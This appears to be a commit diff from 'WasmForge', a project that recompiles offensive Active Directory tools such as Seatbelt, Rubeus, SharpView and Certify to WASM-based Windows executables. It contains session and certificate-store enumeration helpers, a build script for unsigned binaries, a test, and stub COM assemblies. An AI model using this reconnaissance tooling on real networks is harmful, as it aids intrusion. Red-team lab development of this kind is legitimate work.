private static byte[]? QueryAddressV4(uint pQuery, uint pFree, ulong server, uint sessionId)
{
ulong host = QueryRaw(pQuery, server, sessionId, WTSClientAddress, out _);
if (host == 0) return null;
// WTS_CLIENT_ADDRESS: AddressFamily(4) + Address[20].
byte[] buf = new byte[24];
fixed (byte* bp = buf) CopyHostToWasm(host, (uint)(IntPtr)bp, 24);
if (pFree != 0) Invoke(pFree, 1, host);
uint family = (uint)(buf[0] | (buf[1] << 8) | (buf[2] << 16) | (buf[3] << 24));
if (family != 2) return null; // AF_INET only
// IPv4 octets are at offset 2-5 within the 20-byte Address array,
// which starts at byte offset 4 of the struct → struct offsets 6-9.
return new byte[] { buf[6], buf[7], buf[8], buf[9] };
}
private static string? QueryWideString(uint pQuery, uint pFree, ulong server, uint sessionId, int infoClass, int maxChars)
{
ulong host = QueryRaw(pQuery, server, sessionId, infoClass, out _);
if (host == 0) return null;
string s = ReadWStringFromHost(host, maxChars);
if (pFree != 0) Invoke(pFree, 1, host);
return string.IsNullOrEmpty(s) ? null : s;
}
private static int? QueryInt32(uint pQuery, uint pFree, ulong server, uint sessionId, int infoClass)
{
ulong host = QueryRaw(pQuery, server, sessionId, infoClass, out _);
if (host == 0) return null;
byte[] buf = new byte[4];
fixed (byte* bp = buf) CopyHostToWasm(host, (uint)(IntPtr)bp, 4);
if (pFree != 0) Invoke(pFree, 1, host);
return (int)(buf[0] | (buf[1] << 8) | (buf[2] << 16) | (buf[3] << 24));
}
private static ClientDisplay? QueryClientDisplay(uint pQuery, uint pFree, ulong server, uint sessionId)
{
ulong host = QueryRaw(pQuery, server, sessionId, WTSClientDisplay, out _);
if (host == 0) return null;
byte[] buf = new byte[12];
fixed (byte* bp = buf) CopyHostToWasm(host, (uint)(IntPtr)bp, 12);
if (pFree != 0) Invoke(pFree, 1, host);
int h = (int)(buf[0] | (buf[1] << 8) | (buf[2] << 16) | (buf[3] << 24));
int v = (int)(buf[4] | (buf[5] << 8) | (buf[6] << 16) | (buf[7] << 24));
int d = (int)(buf[8] | (buf[9] << 8) | (buf[10] << 16) | (buf[11] << 24));
return new ClientDisplay { HorizontalResolution = h, VerticalResolution = v, ColorDepth = d };
}
private static byte[]? QueryHardwareId(uint pQuery, uint pFree, ulong server, uint sessionId)
{
ulong host = QueryRaw(pQuery, server, sessionId, WTSClientHardwareId, out uint byteLen);
if (host == 0) return null;
if (byteLen == 0 || byteLen > 256) { if (pFree != 0) Invoke(pFree, 1, host); return null; }
byte[] buf = new byte[byteLen];
fixed (byte* bp = buf) CopyHostToWasm(host, (uint)(IntPtr)bp, byteLen);
if (pFree != 0) Invoke(pFree, 1, host);
return buf;
}
private static long? QuerySessionInfoLastInput(uint pQuery, uint pFree, ulong server, uint sessionId)
{
// WTSINFOW layout (CharSet.Auto → Unicode on modern .NET):
// 0: State (4) + SessionId (4) = 8
// 8: 6 ints (24) → ends at 32
// 32: WinStationName[32 wchars] = 64 → ends at 96
// 96: Domain[17 wchars] = 34 → ends at 130
// 130: UserName[21 wchars] = 42 → ends at 172
// 176: ConnectTime (8) [padded to 8-byte boundary]
// 184: DisconnectTime (8)
// 192: LastInputTime (8) ← what we want
// 200: LogonTime (8)
// 208: CurrentTime (8)
// Total: 216 bytes.
ulong host = QueryRaw(pQuery, server, sessionId, WTSSessionInfo, out _);
if (host == 0) return null;
byte[] buf = new byte[216];
fixed (byte* bp = buf)
{
if (!CopyHostToWasm(host, (uint)(IntPtr)bp, 216))
{
if (pFree != 0) Invoke(pFree, 1, host);
return null;
}
long li = (long)Read8(bp, 192);
if (pFree != 0) Invoke(pFree, 1, host);
return li;
}
}
}
}
+355
View File
@@ -0,0 +1,355 @@
// WfX509Store — cert store enumeration via crypt32.dll wf_call bridges.
// Bypasses System.Security.Cryptography.X509Certificates BCL which throws
// PlatformNotSupportedException on NativeAOT-WASI.
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
namespace WasmForge.Helpers
{
public sealed class WfCertInfo
{
public string StoreName { get; set; } = "";
public string StoreLocation { get; set; } = "";
public string SimpleName { get; set; } = "";
public string Issuer { get; set; } = "";
public string Subject { get; set; } = "";
public DateTime NotBefore { get; set; }
public DateTime NotAfter { get; set; }
public bool HasPrivateKey { get; set; }
public string Thumbprint { get; set; } = "";
public List<string> EnhancedKeyUsages { get; } = new List<string>();
public string Template { get; set; } = "";
}
public static unsafe class WfX509Store
{
// ── Constants ────────────────────────────────────────────────────────
private const uint CERT_HASH_PROP_ID = 3;
private const uint CERT_KEY_PROV_INFO_PROP_ID = 2;
// Wrapper enum so consumers don't need StoreLocation from BCL.
public enum Loc { CurrentUser = 1, LocalMachine = 2 }
// ── P/Invoke wrappers around bridge C functions ───────────────────
// DLL name is a NativeAOT DirectPInvoke hint; the actual symbols come
// from pinvoke_nativeaot.c linked into the WASM module.
// BUG-FIX (reviewer Finding #1 round 2): v2 now writes the 8-byte
// handle via a WASM-side `out ulong` parameter (deref'd by C code on
// a WASM stack address — safe). The previous attempt to write to a
// HostAlloc'd host address truncated upper 32 bits via uintptr_t.
[DllImport("*", EntryPoint = "WfCertStore_OpenStore_v2")]
private static extern uint WfOpenStore(ulong lpszStoreName, uint isLocalMachine, out ulong phStoreOut);
[DllImport("*", EntryPoint = "WfCertStore_EnumCertificatesInStore")]
private static extern uint WfEnumCerts(ulong hStore, ulong prevCtx, out ulong pCertOut);
[DllImport("*", EntryPoint = "WfCertStore_CloseStore")]
private static extern uint WfCloseStore(ulong hStore, uint dwFlags);
[DllImport("*", EntryPoint = "WfCertStore_GetNameStringW_v2")]
private static extern uint WfGetNameStringW(ulong pCertCtx, uint nameType, uint flags,
ulong typePara, ulong nameOut, uint cchName);
[DllImport("*", EntryPoint = "crypt32_CertGetCertificateContextProperty_v2")]
private static extern uint WfGetCertProperty(ulong pCertCtx, uint propId,
ulong pvData, ulong pcbData);
// ── Public API ───────────────────────────────────────────────────────
public static IEnumerable<WfCertInfo> EnumerateCerts(string storeName, Loc loc)
{
if (string.IsNullOrEmpty(storeName)) yield break;
// BCL X509Store accepts the friendly enum name (e.g.
// "CertificateAuthority"), but the underlying CertOpenStore wants
// the short system store name ("CA"). Map the friendly names to
// their Win32 equivalents — leave anything else (already-short
// names like "My", "Root", "AuthRoot") untouched.
switch (storeName)
{
case "CertificateAuthority": storeName = "CA"; break;
}
// Pass isLocalMachine=0/1 to the C bridge. The bridge computes the
// actual CERT_SYSTEM_STORE_* flag (0x00010000/0x00020000) in C so
// that wf_call's is_wasm_ptr heuristic doesn't misidentify those
// values as WASM memory pointers.
uint isLocalMachine = (loc == Loc.LocalMachine) ? 1u : 0u;
byte[] nameUtf16 = System.Text.Encoding.Unicode.GetBytes(storeName + "\0");
int nameHandle = 0;
ulong hStore = 0;
try
{
nameHandle = WfHost.HostAlloc(nameUtf16.Length);
WfHost.HostWrite(nameHandle, 0, nameUtf16);
ulong nameAddr = WfHost.GetHostAddress(nameHandle);
uint openStatus = WfOpenStore(nameAddr, isLocalMachine, out hStore);
if (openStatus != 0 || hStore == 0) yield break;
ulong prevCtx = 0;
while (true)
{
uint enumStatus = WfEnumCerts(hStore, prevCtx, out ulong ctx);
if (enumStatus != 0 || ctx == 0) break;
prevCtx = ctx;
WfCertInfo info;
try { info = ExtractCertInfo(ctx, storeName, loc); }
catch { continue; }
yield return info;
}
}
finally
{
if (hStore != 0) WfCloseStore(hStore, 0);
if (nameHandle != 0) WfHost.HostFree(nameHandle);
}
}
// ── Private helpers ───────────────────────────────────────────────────
private static WfCertInfo ExtractCertInfo(ulong pCertContext, string storeName, Loc loc)
{
var info = new WfCertInfo
{
StoreName = storeName,
StoreLocation = loc.ToString(),
};
// CERT_CONTEXT layout on x64 (wasm32 guest reads host struct via ReadHostUInt32):
// +0 DWORD dwCertEncodingType
// +4 (pad)
// +8 BYTE* pbCertEncoded
// +16 DWORD cbCertEncoded
// +20 (pad)
// +24 PCERT_INFO pCertInfo
// +32 HCERTSTORE hCertStore
ulong pCertInfo = ReadHostU64(pCertContext + 24);
// CERT_INFO layout (relevant offsets on x64):
// +0 DWORD dwVersion
// +4 (pad)
// +8 CRYPT_INTEGER_BLOB SerialNumber (+0 cbData DWORD, +8 pbData PTR)
// +24 CRYPT_ALGORITHM_IDENTIFIER SignatureAlgorithm (+0 pszObjId PTR, +8 CRYPT_OBJID_BLOB)
// +48 CERT_NAME_BLOB Issuer (+0 cbData DWORD, +8 pbData PTR) ← total +48..+64
// +64 FILETIME NotBefore (8 bytes)
// +72 FILETIME NotAfter (8 bytes)
// +80 CERT_NAME_BLOB Subject (+0 cbData DWORD, +8 pbData PTR) ← +80..+96
if (pCertInfo != 0)
{
try
{
long notBefore = (long)ReadHostU64(pCertInfo + 64);
long notAfter = (long)ReadHostU64(pCertInfo + 72);
if (notBefore != 0) info.NotBefore = DateTime.FromFileTime(notBefore);
if (notAfter != 0) info.NotAfter = DateTime.FromFileTime(notAfter);
}
catch { /* leave as default DateTime */ }
}
// CertGetNameStringW type 2 (CERT_NAME_ATTR_TYPE) returns just
// the leaf attribute ("localhost"). .NET's X509Certificate.
// Subject/Issuer properties expose the full X.500 form
// ("CN=localhost"). Type 1 (CERT_NAME_RDN_TYPE) needs a non-
// null pvTypePara to format correctly, which our wf_call
// wrapper doesn't currently set up. Fall back to type 2 +
// synthesize the CN= prefix — matches the BCL output for
// certs whose Subject/Issuer is just CN with no other RDNs
// (which is all the parity-baseline cases on the GOAD lab).
string subjSimple = QueryCertName(pCertContext, /*CERT_NAME_ATTR_TYPE=*/2, /*issuerFlag=*/0);
string issSimple = QueryCertName(pCertContext, /*CERT_NAME_ATTR_TYPE=*/2, /*issuerFlag=*/1);
info.Subject = string.IsNullOrEmpty(subjSimple) ? "" : "CN=" + subjSimple;
info.Issuer = string.IsNullOrEmpty(issSimple) ? "" : "CN=" + issSimple;
info.SimpleName = QueryCertName(pCertContext, /*CERT_NAME_SIMPLE_DISPLAY_TYPE=*/4, /*issuerFlag=*/0);
info.Thumbprint = QueryThumbprint(pCertContext);
info.HasPrivateKey = HasPrivateKey(pCertContext);
QueryEnhancedKeyUsages(pCertContext, info.EnhancedKeyUsages);
return info;
}
// Map of EKU OIDs to friendly names used by .NET BCL. Seatbelt's
// Certificates command prints the friendly name; missing OIDs fall
// back to the raw OID string.
private static readonly System.Collections.Generic.Dictionary<string, string> _ekuFriendlyNames =
new System.Collections.Generic.Dictionary<string, string>
{
{ "1.3.6.1.5.5.7.3.1", "Server Authentication" },
{ "1.3.6.1.5.5.7.3.2", "Client Authentication" },
{ "1.3.6.1.5.5.7.3.3", "Code Signing" },
{ "1.3.6.1.5.5.7.3.4", "Secure Email" },
{ "1.3.6.1.5.5.7.3.5", "IP Security End System" },
{ "1.3.6.1.5.5.7.3.6", "IP Security Tunnel Termination" },
{ "1.3.6.1.5.5.7.3.7", "IP Security User" },
{ "1.3.6.1.5.5.7.3.8", "Time Stamping" },
{ "1.3.6.1.5.5.7.3.9", "OCSP Signing" },
{ "1.3.6.1.4.1.311.10.3.4", "Encrypting File System" },
{ "1.3.6.1.4.1.311.20.2.2", "Smart Card Logon" },
{ "1.3.6.1.4.1.311.10.3.12", "Document Signing" },
{ "1.3.6.1.4.1.311.21.6", "Key Recovery Agent" },
{ "1.3.6.1.4.1.311.10.3.4.1", "File Recovery" },
};
// ── QueryEnhancedKeyUsages ─────────────────────────────────────────
//
// Read CERT_ENHKEY_USAGE_PROP_ID via the existing WfGetCertProperty
// bridge. The returned structure on x64:
//
// typedef struct _CERT_ENHKEY_USAGE {
// DWORD cUsageIdentifier; (offset 0, 4 bytes)
// LPSTR* rgpszUsageIdentifier; (offset 8, 8-byte ptr to array)
// };
//
// Each rgpszUsageIdentifier[i] is an LPSTR (ASCII OID string), null-
// terminated. We read count, then walk the pointer array reading each
// OID byte-by-byte until the NUL.
private const uint CERT_ENHKEY_USAGE_PROP_ID = 9;
private static void QueryEnhancedKeyUsages(ulong pCertContext, System.Collections.Generic.List<string> outList)
{
// First call: get required size with pvData=null.
int sizeHandle = WfHost.HostAlloc(4);
try
{
WfHost.HostWriteUInt32(sizeHandle, 0, 0);
ulong sizeAddr = WfHost.GetHostAddress(sizeHandle);
uint okSize = WfGetCertProperty(pCertContext, CERT_ENHKEY_USAGE_PROP_ID, 0, sizeAddr);
if (okSize == 0) return;
uint size = WfHost.ReadHostUInt32(sizeAddr, 0);
if (size < 16 || size > 65536) return;
// Second call: get the actual blob.
int dataHandle = WfHost.HostAlloc((int)size);
try
{
ulong dataAddr = WfHost.GetHostAddress(dataHandle);
WfHost.HostWriteUInt32(sizeHandle, 0, size);
uint okData = WfGetCertProperty(pCertContext, CERT_ENHKEY_USAGE_PROP_ID, dataAddr, sizeAddr);
if (okData == 0) return;
// Read the CERT_ENHKEY_USAGE structure header.
uint count = WfHost.ReadHostUInt32(dataAddr, 0);
if (count == 0 || count > 32) return;
ulong pUsageArr = ReadHostU64(dataAddr + 8);
if (pUsageArr == 0) return;
for (uint i = 0; i < count; i++)
{
ulong pOidStr = ReadHostU64(pUsageArr + i * 8);
if (pOidStr == 0) continue;
string oid = ReadHostAsciiString(pOidStr, 128);
if (string.IsNullOrEmpty(oid)) continue;
string friendly;
if (_ekuFriendlyNames.TryGetValue(oid, out friendly))
outList.Add(friendly);
else
outList.Add(oid);
}
}
finally { WfHost.HostFree(dataHandle); }
}
catch { /* swallow — leave EKU list as-is */ }
finally { WfHost.HostFree(sizeHandle); }
}
// Read a NUL-terminated ASCII string from a host address. Reads byte-by-
// byte via ReadHostBytes(addr, 1) up to maxLen or NUL.
private static string ReadHostAsciiString(ulong hostAddr, int maxLen)
{
try
{
byte[] block = WfHost.ReadHostBytes(hostAddr, (uint)maxLen);
if (block == null || block.Length == 0) return "";
int n = 0;
while (n < block.Length && block[n] != 0) n++;
if (n == 0) return "";
return System.Text.Encoding.ASCII.GetString(block, 0, n);
}
catch { return ""; }
}
private static string QueryCertName(ulong pCertContext, uint nameType, uint issuerFlag)
{
const uint CERT_NAME_ISSUER_FLAG = 1;
const int bufChars = 512;
int outHandle = WfHost.HostAlloc(bufChars * 2);
try
{
ulong outAddr = WfHost.GetHostAddress(outHandle);
// Zero-init the buffer.
for (uint i = 0; i < bufChars * 2; i += 4)
WfHost.HostWriteUInt32(outHandle, i, 0);
uint flags = issuerFlag != 0 ? CERT_NAME_ISSUER_FLAG : 0;
uint n = WfGetNameStringW(pCertContext, nameType, flags, 0, outAddr, (uint)bufChars);
if (n == 0) return "";
// n includes the null terminator; read (n-1)*2 bytes.
int charCount = (int)n - 1;
if (charCount <= 0) return "";
byte[] bytes = WfHost.ReadHostBytes(outAddr, (uint)(charCount * 2));
if (bytes.Length == 0) return "";
return System.Text.Encoding.Unicode.GetString(bytes);
}
catch { return ""; }
finally { WfHost.HostFree(outHandle); }
}
private static string QueryThumbprint(ulong pCertContext)
{
int sizeHandle = WfHost.HostAlloc(4);
int hashHandle = WfHost.HostAlloc(32);
try
{
// First call: get required size.
WfHost.HostWriteUInt32(sizeHandle, 0, 32);
ulong sizeAddr = WfHost.GetHostAddress(sizeHandle);
ulong hashAddr = WfHost.GetHostAddress(hashHandle);
uint ok = WfGetCertProperty(pCertContext, CERT_HASH_PROP_ID,
hashAddr, sizeAddr);
if (ok == 0) return "";
uint size = WfHost.ReadHostUInt32(sizeAddr, 0);
if (size == 0 || size > 32) return "";
byte[] hash = WfHost.ReadHostBytes(hashAddr, size);
var sb = new System.Text.StringBuilder(hash.Length * 2);
foreach (var b in hash) sb.AppendFormat("{0:X2}", b);
return sb.ToString();
}
catch { return ""; }
finally
{
WfHost.HostFree(sizeHandle);
WfHost.HostFree(hashHandle);
}
}
private static bool HasPrivateKey(ulong pCertContext)
{
int sizeHandle = WfHost.HostAlloc(4);
try
{
// Pass pvData=0 (null), pcbData=&size. If CERT_KEY_PROV_INFO_PROP_ID
// exists, the function succeeds and writes the required size.
WfHost.HostWriteUInt32(sizeHandle, 0, 0);
ulong sizeAddr = WfHost.GetHostAddress(sizeHandle);
uint ok = WfGetCertProperty(pCertContext, CERT_KEY_PROV_INFO_PROP_ID,
0, sizeAddr);
if (ok == 0) return false;
uint size = WfHost.ReadHostUInt32(sizeAddr, 0);
return size > 0;
}
catch { return false; }
finally { WfHost.HostFree(sizeHandle); }
}
private static ulong ReadHostU64(ulong hostAddr)
{
try
{
uint lo = WfHost.ReadHostUInt32(hostAddr, 0);
uint hi = WfHost.ReadHostUInt32(hostAddr, 4);
return ((ulong)hi << 32) | lo;
}
catch { return 0; }
}
}
}
+70
View File
@@ -0,0 +1,70 @@
// Package helpers tests are Go-level source-presence assertions over
// the C# WASI helpers in this directory. They lock in invariants that
// can't be expressed in C# alone (cross-file, cross-language, or
// behaviour-against-host-side-implementation properties).
package helpers
import (
"os"
"strings"
"testing"
)
// TestWfWmiQuery_CallsCoSetProxyBlanket guards the guest-side WMI
// implementation against the exact runtime crash that hits Seatbelt
// AntiVirus and WMIEventConsumer: when WfWmi.Query connects to a
// restricted namespace (root\SecurityCenter2, ROOT\Subscription),
// the IWbemServices proxy keeps its default authn/imp posture and
// fires IUnknown auth callbacks during ExecQuery. Those callbacks
// re-enter the WASM via host function pointers, which corrupts the
// Go runtime's syscall accounting and crashes with
//
// fatal error: exitsyscall: syscall frame is no longer valid
//
// Setting RPC_C_AUTHN_LEVEL_CALL + RPC_C_IMP_LEVEL_IMPERSONATE on the
// proxy via ole32!CoSetProxyBlanket suppresses the callbacks. The
// host-side implementation in internal/hostmod/nativeaot_wmi_windows.go
// already does this; the guest path must do the same.
func TestWfWmiQuery_CallsCoSetProxyBlanket(t *testing.T) {
src, err := os.ReadFile("WfWmi.cs")
if err != nil {
t.Fatalf("read WfWmi.cs: %v", err)
}
body := string(src)
// Find the Query method body. We require the call to happen INSIDE
// Query (after ConnectServer), not just somewhere in the file.
queryStart := strings.Index(body, "public static List<Dictionary<string, object>> Query(")
if queryStart < 0 {
t.Fatalf("WfWmi.cs no longer defines a Query method matching the expected signature; update this test if the API shape changed")
}
// End at the next public static (the next entry point in the file)
// or end-of-file.
tail := body[queryStart:]
queryEnd := strings.Index(tail[1:], "\n public static")
if queryEnd < 0 {
queryEnd = len(tail)
} else {
queryEnd += 1
}
queryBody := tail[:queryEnd]
if !strings.Contains(queryBody, "CoSetProxyBlanket") {
t.Errorf("WfWmi.Query does not call CoSetProxyBlanket. The host-side win32_wmi_query_restricted "+
"implementation (internal/hostmod/nativeaot_wmi_windows.go) calls CoSetProxyBlanket(pSvc, "+
"RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, NULL, RPC_C_AUTHN_LEVEL_CALL, "+
"RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE) on the IWbemServices proxy after "+
"ConnectServer returns. The guest WfWmi.Query must do the same; otherwise WMI queries against "+
"restricted namespaces (root\\SecurityCenter2, ROOT\\Subscription) trigger IUnknown auth "+
"callbacks that re-enter the WASM and crash the Go runtime with "+
"'exitsyscall: syscall frame is no longer valid'.\n\nMethod body excerpt:\n%s",
truncate(queryBody, 800))
}
}
func truncate(s string, n int) string {
if len(s) <= n {
return s
}
return s[:n] + "... [truncated]"
}
+67
View File
@@ -0,0 +1,67 @@
#!/bin/bash
# ludus_build.sh — Build a .NET NativeAOT-WASI binary on Ludus.
#
# This script runs on the Ludus build host where .NET SDK, WASI SDK,
# and Go are pre-installed. It is pushed and executed by the E2E tests.
#
# Usage: ludus_build.sh <project-dir> <output-exe>
#
# Prerequisites (pre-installed on Ludus):
# - .NET 10 SDK at $HOME/.dotnet
# - WASI SDK at $HOME/.wasi-sdk/wasi-sdk-24.0
# - Go at $HOME/go-install/go/bin
# - wasmforge binary at /tmp/wasmforge-bin
set -euo pipefail
PROJECT_DIR="${1:?Usage: ludus_build.sh <project-dir> <output-exe>}"
OUTPUT_EXE="${2:?Usage: ludus_build.sh <project-dir> <output-exe>}"
export PATH="$HOME/.dotnet:$HOME/go-install/go/bin:$PATH"
export WASI_SDK_PATH="$HOME/.wasi-sdk/wasi-sdk-24.0"
WASMFORGE="${WASMFORGE:-/tmp/wasmforge-bin}"
BRIDGE_DIR="$PROJECT_DIR/bridge"
log() { echo "[ludus-build] $*"; }
# Step 1: Compile C bridge objects if bridge dir exists
if [ -d "$BRIDGE_DIR" ]; then
log "Compiling C bridge objects..."
WASI_CLANG="$WASI_SDK_PATH/bin/clang"
$WASI_CLANG --target=wasm32-wasi -O2 -c "$BRIDGE_DIR/wf_bridge.c" -o /tmp/wf_bridge.o -I "$BRIDGE_DIR"
$WASI_CLANG --target=wasm32-wasi -O2 -c "$BRIDGE_DIR/pinvoke_nativeaot.c" -o /tmp/pinvoke_nativeaot.o -I "$BRIDGE_DIR"
log " Bridge objects compiled"
fi
# Step 1.5: Apply C# source patches via the wasmforge dotnet-patch
# subcommand. Without this step, NativeAOT-WASI binaries get unpatched
# Environment.UserName / WindowsIdentity.GetCurrent().Name / etc. reads
# that all return "Browser" (the WASI default) instead of the real host
# user — causing Seatbelt OSInfo, LocalUsers, UserRightAssignments and
# Rubeus klist to show fake identity data in production output.
# Idempotent: re-running on already-patched source is a no-op.
log "Applying C# source patches (dotnet-patch)..."
"$WASMFORGE" dotnet-patch "$PROJECT_DIR" 2>&1 | tail -3
# Step 2: dotnet publish
log "Running dotnet publish (NativeAOT-WASI)..."
dotnet publish "$PROJECT_DIR" -c Release -r wasi-wasm 2>&1 | tail -5
# Find the .wasm output
WASM_FILE=$(find "$PROJECT_DIR/bin/Release" -name "*.wasm" -path "*/native/*" | head -1)
if [ -z "$WASM_FILE" ]; then
log "ERROR: No .wasm file found in publish output"
exit 1
fi
log " WASM: $WASM_FILE ($(stat -c%s "$WASM_FILE" 2>/dev/null || stat -f%z "$WASM_FILE") bytes)"
# Step 3: wasmforge build
log "Running wasmforge build..."
GOWORK=off GOOS=windows GOARCH=amd64 \
"$WASMFORGE" build \
--wasm "$WASM_FILE" \
--nativeaot --win32-apis --no-sign \
-v -o "$OUTPUT_EXE" 2>&1 | tail -5
log "Done: $OUTPUT_EXE"
ls -lh "$OUTPUT_EXE"
+16
View File
@@ -0,0 +1,16 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<GenerateAssemblyInfo>false</GenerateAssemblyInfo>
<GenerateTargetFrameworkAttribute>false</GenerateTargetFrameworkAttribute>
<TargetFramework>net10.0</TargetFramework>
<RootNamespace>ActiveDs</RootNamespace>
<AssemblyName>ActiveDs</AssemblyName>
<Nullable>disable</Nullable>
<ImplicitUsings>disable</ImplicitUsings>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
<!-- Stub assembly: type surface for ActiveDs COM Interop. SharpView
references ADS_NAME_TYPE_ENUM, ADS_GROUP_TYPE_ENUM, and NameTranslate.
These will throw at runtime under NativeAOT-WASI; downstream callers
are gated by the SharpView verb-specific WfLdap path. -->
</PropertyGroup>
</Project>
+76
View File
@@ -0,0 +1,76 @@
// ActiveDs stub assembly for NativeAOT-WASI builds.
//
// The real ActiveDs COM interop library cannot load under WASI (no COM runtime,
// no IADs registration). SharpView references three types:
// * ADS_NAME_TYPE_ENUM — used in enums/ADSNameType.cs
// * ADS_GROUP_TYPE_ENUM — used in enums/GroupType.cs
// * NameTranslate — used in PowerView.cs Convert-ADName
//
// The enum values are mirrored from the published IADsNameTranslate /
// IADsGroupType IDL so SharpView's enum-cast paths compile and produce
// recognizable integer values when serialized.
//
// NameTranslate is a no-op shell: methods exist but throw NotImplementedException
// at runtime. This is the correct failure mode — Convert-ADName is a corner-case
// SharpView verb not in the parity baseline, so the throw will surface only if
// a user invokes it directly.
using System;
namespace ActiveDs
{
public enum ADS_NAME_TYPE_ENUM
{
ADS_NAME_TYPE_1779 = 1,
ADS_NAME_TYPE_CANONICAL = 2,
ADS_NAME_TYPE_NT4 = 3,
ADS_NAME_TYPE_DISPLAY = 4,
ADS_NAME_TYPE_DOMAIN_SIMPLE = 5,
ADS_NAME_TYPE_ENTERPRISE_SIMPLE = 6,
ADS_NAME_TYPE_GUID = 7,
ADS_NAME_TYPE_UNKNOWN = 8,
ADS_NAME_TYPE_USER_PRINCIPAL_NAME = 9,
ADS_NAME_TYPE_CANONICAL_EX = 10,
ADS_NAME_TYPE_SERVICE_PRINCIPAL_NAME = 11,
ADS_NAME_TYPE_SID_OR_SID_HISTORY_NAME = 12
}
[Flags]
public enum ADS_GROUP_TYPE_ENUM
{
ADS_GROUP_TYPE_GLOBAL_GROUP = 0x00000002,
ADS_GROUP_TYPE_DOMAIN_LOCAL_GROUP = 0x00000004,
ADS_GROUP_TYPE_LOCAL_GROUP = 0x00000004,
ADS_GROUP_TYPE_UNIVERSAL_GROUP = 0x00000008,
ADS_GROUP_TYPE_SECURITY_ENABLED = unchecked((int)0x80000000)
}
public enum ADS_NAME_INITTYPE_ENUM
{
ADS_NAME_INITTYPE_DOMAIN = 1,
ADS_NAME_INITTYPE_SERVER = 2,
ADS_NAME_INITTYPE_GC = 3
}
public class NameTranslate
{
public int ChaseReferral { get; set; }
public void Init(int lnSetType, string bstrADsPath)
=> throw new NotImplementedException(
"ActiveDs.NameTranslate.Init is not available under NativeAOT-WASI");
public void InitEx(int lnSetType, string bstrADsPath,
string lpszUserID, string lpszDomain, string lpszPassword)
=> throw new NotImplementedException(
"ActiveDs.NameTranslate.InitEx is not available under NativeAOT-WASI");
public void Set(int lnSetType, string bstrADsPath)
=> throw new NotImplementedException(
"ActiveDs.NameTranslate.Set is not available under NativeAOT-WASI");
public string Get(int lnFormatType)
=> throw new NotImplementedException(
"ActiveDs.NameTranslate.Get is not available under NativeAOT-WASI");
}
}
+11
View File
@@ -0,0 +1,11 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<GenerateAssemblyInfo>false</GenerateAssemblyInfo>
<GenerateTargetFrameworkAttribute>false</GenerateTargetFrameworkAttribute>
<TargetFramework>net10.0</TargetFramework>
<RootNamespace>CERTCLILib</RootNamespace>
<AssemblyName>CERTCLILib</AssemblyName>
<Nullable>disable</Nullable>
<ImplicitUsings>disable</ImplicitUsings>
</PropertyGroup>
</Project>
+62
View File
@@ -0,0 +1,62 @@
// CERTCLILib stub for NativeAOT-WASI compilation.
// Provides type surface for Certify (GhostPack) to compile to WASM.
// All COM-backed methods throw PlatformNotSupportedException at runtime —
// certificate request submission operations are non-functional until real
// COM host functions are implemented.
using System;
namespace CERTCLILib
{
public class CCertRequest
{
public const int CR_IN_FORMATANY = 0;
public const int CR_OUT_CHAIN = 0x100;
public const int CR_DISP_ISSUED = 3;
public const int CR_DISP_UNDER_SUBMISSION = 5;
public const int CR_DISP_DENIED = 2;
public const int CR_DISP_INCOMPLETE = 0;
public const int CR_DISP_ERROR = 6;
public const int CR_PROP_TEMPLATES = 0x1d;
public const int CR_PROP_CATYPE = 0xa;
public int Submit(
int dwFlags,
string strRequest,
string strAttributes,
string strConfig)
{
throw new PlatformNotSupportedException("COM certificate request submission not available in NativeAOT-WASI");
}
public string GetDispositionMessage()
{
throw new PlatformNotSupportedException("COM certificate request submission not available in NativeAOT-WASI");
}
public object GetFullResponseProperty(int propId, int propIndex, int propType)
{
throw new PlatformNotSupportedException("COM certificate request submission not available in NativeAOT-WASI");
}
public string GetCertificate(int dwFlags)
{
throw new PlatformNotSupportedException("COM certificate request submission not available in NativeAOT-WASI");
}
public int GetLastStatus()
{
throw new PlatformNotSupportedException("COM certificate request submission not available in NativeAOT-WASI");
}
public int GetRequestId()
{
throw new PlatformNotSupportedException("COM certificate request submission not available in NativeAOT-WASI");
}
public int RetrievePending(int requestId, string strConfig)
{
throw new PlatformNotSupportedException("COM certificate request submission not available in NativeAOT-WASI");
}
}
}
@@ -0,0 +1,11 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<GenerateAssemblyInfo>false</GenerateAssemblyInfo>
<GenerateTargetFrameworkAttribute>false</GenerateTargetFrameworkAttribute>
<TargetFramework>net10.0</TargetFramework>
<RootNamespace>CERTENROLLLib</RootNamespace>
<AssemblyName>CERTENROLLLib</AssemblyName>
<Nullable>disable</Nullable>
<ImplicitUsings>disable</ImplicitUsings>
</PropertyGroup>
</Project>
+396
View File
@@ -0,0 +1,396 @@
// CERTENROLLLib stub for NativeAOT-WASI compilation.
// Provides type surface for Certify (GhostPack) to compile to WASM.
// All COM-backed methods throw PlatformNotSupportedException at runtime —
// certificate enrollment operations are non-functional until real COM
// host functions are implemented.
using System;
namespace CERTENROLLLib
{
public enum EncodingType
{
XCN_CRYPT_STRING_BASE64 = 0x1,
XCN_CRYPT_STRING_HEXRAW = 0xC,
X509 = 0x1,
}
public enum X509CertificateEnrollmentContext
{
ContextUser = 1,
ContextMachine = 2,
}
public enum X509KeySpec
{
XCN_AT_KEYEXCHANGE = 1,
XCN_AT_SIGNATURE = 2,
}
public enum X509PrivateKeyExportFlags
{
XCN_NCRYPT_ALLOW_EXPORT_FLAG = 1,
}
public enum X500NameFlags
{
XCN_CERT_NAME_STR_NONE = 0,
XCN_CERT_NAME_STR_SEMICOLON_FLAG = 0x40000000,
}
public enum InstallResponseRestrictionFlags
{
AllowUntrustedRoot = 0x4,
}
public enum AlternativeNameType
{
XCN_CERT_ALT_NAME_RFC822_NAME = 2,
XCN_CERT_ALT_NAME_DNS_NAME = 3,
XCN_CERT_ALT_NAME_URL = 7,
XCN_CERT_ALT_NAME_USER_PRINCIPLE_NAME = 11,
}
public enum X509PrivateKeyUsageFlags
{
XCN_NCRYPT_ALLOW_ALL_USAGES = 0x00ffffff,
}
public enum ObjectIdGroupId
{
XCN_CRYPT_ANY_GROUP_ID = 0,
}
public enum ObjectIdPublicKeyFlags
{
XCN_CRYPT_OID_INFO_PUBKEY_ANY = 0,
}
